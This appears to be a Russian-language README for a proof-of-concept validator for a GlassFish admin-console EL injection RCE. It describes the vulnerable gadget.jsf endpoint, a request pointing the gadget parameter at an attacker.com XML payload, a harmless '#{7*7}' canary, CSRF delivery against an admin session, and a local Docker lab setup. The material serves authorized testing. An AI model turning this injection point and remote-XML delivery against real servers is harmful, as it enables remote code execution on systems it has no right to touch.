CVE-2026-2587 валидатор PoC для EL Injection RCE в Eclipse GlassFish в обработчике gadget.jsf консоли администратора. Безопасный аутентифицированный сканер уязвимостей для авторизованного тестирования.
Безопасный валидатор PoC для CVE-2026-2587, критической проблемы EL-инъекции / RCE, затрагивающей обработку гаджетов консоли администрирования Eclipse GlassFish через /common/gadgets/gadget.jsf.
Этот инструмент помогает командам безопасности проверить подверженность GlassFish уязвимости CVE-2026-2587 в авторизованных средах, используя безвредную арифметическую EL-канарейку.
Назначено: Eclipse Foundation (CNA) · Опубликовано: 19 мая 2026 г. CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Expression Language Injection Затронутые версии:Unknownв публичном уведомлении по состоянию на 21 мая 2026 г. Патченные версии:Unknownв публичном уведомлении по состоянию на 21 мая 2026 г. Правило сканера: версия — только контекст маршрутизации/отчетности; вердикт требует доказательств.
Критическая уязвимость удаленного выполнения кода существует в обработчике гаджетов консоли администрирования GlassFish. Приложение обрабатывает .xml файлы, полученные из URL, переданного через параметр gadget=, и вычисляет предоставленные пользователем значения внутри атрибутов <ModulePrefs> через движок Java Expression Language (EL) без санитизации или экранирования.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Если XML содержит `#{7*7}` в атрибуте `<ModulePrefs title="">`, GlassFish вычисляет его на стороне сервера и возвращает `49` — подтверждая выполнение EL. Полная цепочка RCE следует через доступ EL к среде выполнения Java.
Текущие записи публичных рекомендаций не публикуют границы затронутой или исправленной версии. Поэтому данный валидатор является доказательным: он идентифицирует GlassFish и сообщает метаданные версии, но не классифицирует цель как уязвимую только на основе строки версии.
---
## Как это работает

Безопасный путь проверки размещает безвредный XML-зонд, отправляет аутентифицированный запрос к консоли администратора на `gadget.jsf`, позволяет GlassFish получить этот XML из URL обратного вызова и проверяет, вычисляется ли канарейка `<ModulePrefs title="">` из `#{7*7}` в `49`.
**Точка внедрения подтверждена или нет:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Сценарий | Нужна аутентификация? |
|---|---|
Прямое обращение к gadget.jsf | Да — FORM auth, страница входа 200 |
| Реальная CSRF-атака | Нет — использует активную сессию администратора |
| Этот валидатор | Да — --cookie или --username/--password |
| Проверка на неавторизованный доступ | Нет — скрипт проверяет это автоматически |
Вектор CVSS PR:N / UI:R означает:
PR:N — злоумышленнику не нужны собственные учетные данныеUI:R — вошедший в систему администратор должен взаимодействовать (доставка CSRF)Для лабораторной проверки полностью пропустите CSRF — используйте напрямую собственную сессию администратора.
Требования: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Содержимое репозитория:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Предупреждение: GHSA по-прежнему указывает затронутые и исправленные версии как неизвестные.
omnifish/glassfish:7.0.15является сильным кандидатом для лаборатории — не гарантированно уязвимая сборка. Примитив проверки остается арифметической канарейкой: если#{7*7}вычисляется в49, то EL активен.
docker compose -f docker-compose.lab.yml up
Запускает GlassFish 7.0.15 с портами, привязанными только к `127.0.0.1`, и предварительно настроенным `host.docker.internal`, чтобы контейнер мог достичь вашего локального XML-сервера.
### Option B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Консоль администратора: https://localhost:4848 · Логин: admin / admin
(Самоподписанный сертификат — ожидается предупреждение браузера.)
Во втором терминале:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Проверьте доступность с точки зрения контейнера:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5